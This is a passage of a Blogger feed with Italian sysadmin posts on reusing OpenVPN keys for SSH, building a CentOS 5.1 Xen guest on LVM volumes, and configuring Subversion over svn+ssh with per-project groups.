basato su chiavi asimmetriche.&lt;br/&gt;&lt;br/&gt;Ad un certo punto sono andato in confusione ed ho sbagliato nel configurare le chiavi utilizzate per effettuare l'accesso SSH scambiandole con quelle utilizzate per connettermi alla VPN aziendale. Allora mi è saltato alla mente che in fondo si tratta sempre di una coppia di chiavi asimmetriche RSA! Perchè dovrei generarne altre?&lt;br/&gt;&lt;br/&gt;Partendo dalle chiavi generate per OpenVPN e passando per PuTTYGen sono riuscito ad ottenere con facilità l'effetto desiderato: una chiave privata + un certificato X.509 = accesso ai server aziendali!&lt;br/&gt;&lt;br/&gt;La procedura è abbastanza banale:&lt;br/&gt;&lt;br/&gt;&lt;ol&gt;&lt;li&gt;generare la coppia di chiavi pubblica e privata con i tool easyrsa di OpenVPN&lt;/li&gt;&lt;li&gt;aprire la chiave privata con PuTTYGen&lt;/li&gt;&lt;li&gt;salvare la chiave pubblica&lt;/li&gt;&lt;li&gt;esportare la chiave privata in formato OpenSSH&lt;br/&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-7254785800500560223?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/7254785800500560223/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=7254785800500560223&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/7254785800500560223'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/7254785800500560223'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2008/03/openvpn-openssh.html' title='OpenVPN &amp;amp; OpenSSH'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-582348095391909527</id><published>2008-02-18T13:40:00.009Z</published><updated>2008-08-26T13:12:25.526+01:00</updated><title type='text'>CentOS 5.1 + Xen + LVM for Guests</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;Normalmente per eseguire una installazione di un DomU di Xen usando delle partizioni LVM basterebbe configurare la macchina virtuale per usare il volume scelto usando qualcosa del tipo&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;disk = [ 'phy:&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;/dev/mapper/&lt;b&gt;vg&lt;/b&gt;-&lt;b&gt;dom1&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;,xvda1,w', &lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;'phy:&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;/dev/mapper/&lt;b&gt;vg&lt;/b&gt;-&lt;b&gt;dom1&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;b&gt;swap&lt;/b&gt;,xvda2,w'&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Purtroppo Anaconda, l'installer di RedHat usato anche da CentOS, non sembra essere in grado di eseguire una installazione usando una partizione quindi il normale processo di installazione vanificherebbe l'utilizzo di LVM per la gestione flessibile dei dischi.&lt;br /&gt;&lt;br /&gt;La soluzione, seppur complicata, una volta applicata potrà essere facilmente riutilizzata e replicata.&lt;br /&gt;Partiremo dall'inizio, cioè dalla installazione dell'ambiente host, cioè del Dom0 all'interno del quale installeremo il minor numero di pacchetti possibile per consentire una facile gestione e contemporaneamente un alto livello di sicurezza.&lt;br /&gt;&lt;br /&gt;Inserito il disco di CentOS avviamo l'installazione grafica (non quella testuale in quanto non consente la manipolazione dei volumi LVM) e quando arriviamo al partizionamento dei dischi selezioniamo il partizionamento manuale. Creiamo una struttura di partizioni come la seguente:&lt;br /&gt;&lt;blockquote&gt;volume group - base&lt;br /&gt;logical volume - root (4GB)&lt;br /&gt;logical volume - swap (max 2GB)&lt;br /&gt;volume group - xen&lt;/blockquote&gt;&lt;br /&gt;Arrivati alla selezione dei pacchetti eliminiamo qualsiasi segno di spunta e chiediamo di rivedere il dettaglio dei pacchetti da installare. A questo punto deselezioniamo qualsiasi segno di spunta dall'elenco dei gruppi (di default vengono spuntati i pacchetti per la connessione remota tramite modem, internet testuale e gli editor) ed attiviamo solamente i pacchetti per la virtualizzazione.&lt;br /&gt;&lt;br /&gt;Facciamo completare l'installazione e riavviamo la macchina per poi procedere ad un successivo hardening eliminando i seguenti pacchetti che vengono comunque installati ma che molto probabilmente non saranno necessari:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:Courier New;"&gt;NetworkManager&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Courier New;"&gt;amtu&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Courier New;"&gt;conman&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Courier New;"&gt;bluez-utils&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Courier New;"&gt;coolkey&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Courier New;"&gt;irda-utils&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Courier New;"&gt;firstboot-tui&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Courier New;"&gt;irda-utils&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Courier New;"&gt;pcmciautils&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Courier New;"&gt;rp-pppoe&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Courier New;"&gt;virt-manager&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Courier New;"&gt;gnome-applet-vm&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;A questo punto prepariamoci all'installazione del sistema operativo guest, o DomU nel gergo xen, utilizzando un disco virtuale su file come base per l'installazione.&lt;br /&gt;&lt;br /&gt;Creiamo quindi un disco virtuale di dimensioni iniziali 256MB e dimensioni massime 4GB (tanto per stare sul sicuro) con il seguente comando:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;dd if=/dev/zero of=&lt;b&gt;/var/lib/xen/images/&lt;/b&gt;template.hda.img oflag=direct bs=1M seek=4096 count=256&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Facciamo attenzione ad usare la cartella corretta per il file altrimenti avremo problemi successivamente con SELinux.&lt;br /&gt;Adesso abbiamo bisogno dei file initrd.img e vmlinuz necessari ad effettuare il boot dal disco virtuale oltre che di un file di configurazione per Xen che descriva la virtual machine così realizzata.&lt;br /&gt;&lt;br /&gt;I primi due possono essere scaricati dal sito di Centos avendo l'accortezza di selezionare la cartella corrispondente all'architettura del sistema operativo ospite: &lt;a href="http://mirror.centos.org/centos/5.1/os/i386/images/xen/" class="http"&gt;i386&lt;/a&gt;&lt;a href="http://mirror.centos.org/centos/5.1/os/i386/images/xen/"&gt; &lt;/a&gt;oppure &lt;a href="http://mirror.centos.org/centos/5.1/os/x86_64/images/xen/" class="http" target="_blank"&gt;x86_64&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Posizioniamo i due file appena scaricati nella cartella &lt;span style="font-family:Courier New;"&gt;/var/lib/xen&lt;/span&gt; e creiamo un file &lt;span style="font-family:Courier New;"&gt;/etc/xen/template&lt;/span&gt; per il nuovo DomU come il seguente:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family:Courier New;"&gt;kernel = "/var/lib/xen/vmlinuz-xen-install"&lt;br /&gt;ramdisk = "/var/lib/xen/initrd-xen-install"&lt;br /&gt;#decommentare la linea seguente se abbiamo un kickstart file pubblicato&lt;br /&gt;#extra = "text ks=http://ipaddress/minimal-ks.cfg"&lt;br /&gt;name = "template"&lt;br /&gt;memory = "256"&lt;br /&gt;disk = [ 'tap:aio:/var/lib/xen/images/template.hda.img,xvda,w', ]&lt;br /&gt;vif = [ 'bridge=xenbr0', ]&lt;br /&gt;vcpus=1&lt;br /&gt;on_reboot = 'destroy'&lt;br /&gt;on_crash = 'destroy'&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Avviamo la virtual machine attaccandoci alla console ed eseguiamo una normale installazione text based (se non avevamo specificato un kickstart file non interattivo) per il nostro nuovissimo server virtuale, avendo ovviamente cura a selezionare il minimo dei pacchetti necessari:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;xm create template -c&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Non resta che spostare quanto installato sul disco virtuale all'interno di un disco reale gestito in LVM quindi procediamo allo stop della macchina virtuale e creiamo quindi i volumi LVM necessari cioè uno per la partizione root ed uno per l'area di swap:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;lvcreate -L12288 -ntemplate xen&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;lvcreate -L1024 -ntemplate.swap xen&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;mkfs.ext3 /dev/mapper/xen-template01&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;mkswap /dev/mapper/xen-template01.swap&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ovviamente è possibile variare le dimensioni ed i nomi a piacere.  Adesso effettuiamo lo spostamento di quanto presente nella partizione principale del disco virtuale all'interno della partizione LVM appena creata.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ dd if=&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;/var/lib/xen/images/template.hda.img of=&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;/dev/mapper/xen-template01&lt;br /&gt;$ &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;resize2fs -p /dev/mapper/xen-template01&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ora non ci resta che perfezionare la configurazione del sistema in modo che non ci sia nessun riferimento rispetto all'installazione appena effettuata quindi montiamo il disco appena creato e cominciamo le attività di pulizia:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;mount /dev/mapper/xen-template01 &lt;b&gt;/media&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ chroot /media&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Con quest'ultimo comando abbiamo impostato il disco della configurazione finale come se fosse la root del nostro sistema quindi possiamo avviare tutti i comandi che effettuano modifiche sul disco come se fossimo già all'interno della virtual machine.&lt;br /&gt;&lt;br /&gt;Procediamo andando a modificare i punti di mount in fstab&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;vi /etc/fstab&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Che dovrà essere modificato per fare riferimento alle partizioni LVM, come riportato nell'esempio seguente dove sono state evidenziate le linee modificate.&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;span style="font-family:Courier New;"&gt;&lt;strong&gt;/dev/xvda1      /        ext3   defaults       1 1&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;/dev/xvda2      swap     swap   defaults       0 0&lt;/strong&gt;&lt;br /&gt;tmpfs           /dev/shm tmpfs  defaults       0 0&lt;br /&gt;devpts          /dev/pts devpts gid=5,mode=620 0 0&lt;br /&gt;sysfs           /sys     sysfs  defaults       0 0&lt;br /&gt;proc            /proc    proc   defaults       0 0&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;e successivamente dobbiamo modificare la configurazione di GRUB (editando il file &lt;span style="font-family:Courier New;"&gt;/etc/grub.conf&lt;/span&gt;) andando anche qui a sostituire &lt;strong&gt;LABEL=/&lt;/strong&gt; con &lt;strong&gt;/dev/xvda1&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Prima di avviare la macchina virtuale è necessario ancora eseguire alcune operazioni.&lt;br /&gt;&lt;br /&gt;Disattiviamo il supporto ad IPv6 se non è necessario modificando i file:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:Courier New;"&gt;/etc/sysconfig/network&lt;/span&gt; dovrà contenere &lt;span style="font-family:Courier New;"&gt;NETWORKING_IPV6=no&lt;/span&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;span style="font-family:Courier New;"&gt;/etc/sysconfig/network-scripts/ifcfg-XXXX&lt;/span&gt; dovranno contenere &lt;span style="font-family:Courier New;"&gt;IPV6INIT=no&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Disattiviamo il firewall per IPv6 con il comando&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;chkconfig --levels 2345 ip6tables off&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Assicuriamoci che al prossimo riavviano venga eseguito il relabel del filesystem per SELinux eseguendo il comando&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;touch /.autorelabel&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;e che vengano rigenerate le chiavi usate da OpenSSH eliminando quelle già generate:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;rm &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;/etc/ssh/ssh_host_*&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Infine un aggiornamento alle ultime versioni è un'operazione consigliabile&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ yum update&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Finita la preparazione della nostra nuova macchina virtuale torniamo al Dom0 per preparaci a gustare i risultati del nostro lavoro.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ exit&lt;br /&gt;$ umount /media /mnt&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Ci rimane da preparare (o modificare) il file di configurazione per Xen in modo che sia in grado di avviare la nostra nuova macchina virtuale. per farlo editiamo il file &lt;span style="font-family:Courier New;"&gt;/etc/xen/template&lt;/span&gt; affinchè rispecchi queste nuove proprietà:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family:Courier New;"&gt;name = "template"&lt;br /&gt;bootloader = "/usr/bin/pygrub"&lt;br /&gt;disk = [ 'phy:/dev/mapper/xen-template,xvda1,w','phy:/dev/mapper/xen-template.swap,xvda2,w']&lt;br /&gt;vif = [ 'bridge=xenbr0']&lt;br /&gt;vcpus = 1&lt;br /&gt;on_reboot = 'restart'&lt;br /&gt;on_crash = 'restart'&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family: georgia;"&gt;Per comodità nell'installazione delle successive macchine virtuali converrà creare un nuovo archivio, a partire dal sistema appena installato sul volume LVM, da tenere in disparte per evitare di dover ripetere il processo dall'inizio: con l'archivio già pronto potremo ripartire dalla creazione delle partizioni LVM e limitarci a configurare la rete e l'hostname!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;dd if=&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;/dev/mapper/xen-template01 of=&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;/var/lib/xen/images/lvm-template.img&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: georgia;"&gt;Non resta che effettuare lo start della macchina virtuale et voilà,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: georgia;"&gt;avete la vostra bella macchina virtuale CentOS 5.1 che lavora su una&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: georgia;"&gt;partizione LVM.... come promesso!&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-582348095391909527?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/582348095391909527/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=582348095391909527&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/582348095391909527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/582348095391909527'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2008/02/centos-51-xen-lvm-for-guests.html' title='CentOS 5.1 + Xen + LVM for Guests'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-8587897756075370863</id><published>2007-08-01T11:06:00.001+01:00</published><updated>2007-08-01T13:19:47.775+01:00</updated><title type='text'>Subversion: protocol and beyond</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;a href="http://subversion.tigris.org/"&gt;Subversion &lt;/a&gt;è un meraviglioso &lt;a href="http://en.wikipedia.org/wiki/Version_control_system"&gt;VCS (Version Control System)&lt;/a&gt; open source, spesso però non è utilizzato al meglio delle sue capacità. Parlando di configurazione e setup del servizio un modo semplice e tuttavia efficace di mettere in piedi Subversion è quello di utilizzare il protocollo &lt;b&gt;svn+ssh://&lt;/b&gt; anzichè il semplice &lt;b&gt;svn://&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;La versione sicura del protocollo nativo di Subversion è abbastanza semplice da configurare e consente:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;l'utilizzo di LDAP o RADIUS per lo storage degli utenti attraverso i moduli PAM di SSH;&lt;/li&gt;&lt;li&gt;la gestione dei permessi di accesso ai diversi rami/progetti all'interno di uno stesso repository attraverso i permessi del filesystem;&lt;/li&gt;&lt;li&gt;maggiore sicurezza nella comunicazione grazie alla crittografia del canale;&lt;/li&gt;&lt;li&gt;maggiore velocità e semplicità di configurazione rispetto al protocollo https:// che necessita dell'integrazione con Apache.&lt;/li&gt;&lt;/ul&gt;Impostare una buona configurazione del protocollo svn+ssh:// è facilissimo, purchè si seguano alcune semplici direttive per ottenere un risultato sufficientemente flessibile.&lt;br /&gt;&lt;br /&gt;Innanzitutto è preferibile generare delle host key per ciascun client in modo da evitare la richiesta continua di username e password visto che il client SVN non è in grado di cachare le credenziali di accesso di SSH (è SSH infatti che in questa configurazione ha l'incarico di gestire l'autenticazione).&lt;br /&gt;&lt;br /&gt;Iniziamo con l'aprire (o creare se non esiste già) il file &lt;b&gt;&lt;i&gt;svn_user_home&lt;/i&gt;/.ssh/authorized_keys &lt;/b&gt;(dove svn_user_home indica la home folder dell'utenza con cui svnserve viene eseguito) ed andiamo ad aggiungere una riga per ciascun client in questo formato:&lt;br /&gt;&lt;pre&gt;command="svnserve.sh", TYPE KEY xxx@domain.com&lt;/pre&gt;&lt;br /&gt;dove xxx è lo username che volete attivare mentre TYPE e KEY fanno riferimento al tipo ed all'hash della chiave generata per quell'utente... un momento: non abbiamo ancora generato la chiave! Facciamolo subito come indicato in &lt;a href="http://www.petefreitag.com/item/532.cfm"&gt;questa mini guida&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Ovviamente nel file authorized_keys dovremo andare a mettere solamente la chiave pubblica, mentre la chiave privata dovrà essere consegnata all'utente che dovrà connettersi a Subversion.&lt;br /&gt;&lt;br /&gt;A questo punto non resta che creare lo script svnserve.sh che andrà ad impostare una &lt;a href="http://en.wikipedia.org/wiki/Umask"&gt;umask &lt;/a&gt;corretta (suggerisco 002) per l'utilizzo di SVN...&lt;br /&gt;&lt;br /&gt;Dal punto di vista autorizzazione possiamo orientarci con l'utilizzo dei gruppi: suggerisco la creazione di almeno un gruppo per ogni progetto SVN, in questo modo i permessi di accesso al singolo progetto potranno essere gestiti aggiungendo o togliendo l'utente dal gruppo di riferimento (è a questo che serve il settaggio della umask).&lt;br /&gt;&lt;br /&gt;Volendo essere precisi si può pensare di creare, per ciascun progetto, un gruppo per gli sviluppatori, un gruppo per i tester ed un gruppo per gli amministratori:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;prj-devels (lettura e scrittura su branches e trunk del progetto)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;prj-testers (lettura su tutto il progetto)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;prj-admins (lettura e scrittura su tutto il progetto)&lt;/li&gt;&lt;/ul&gt;Ovviamente questo dipende dalle necessità della vostra azienda... nessuno vieta la creazione di un solo singolo gruppo di utenti &lt;span style="font-weight: bold;"&gt;svnusers&lt;/span&gt;!&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-8587897756075370863?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/8587897756075370863/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=8587897756075370863&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/8587897756075370863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/8587897756075370863'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2007/08/subversion-protocol-and-beyond.html' title='Subversion: protocol and beyond'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
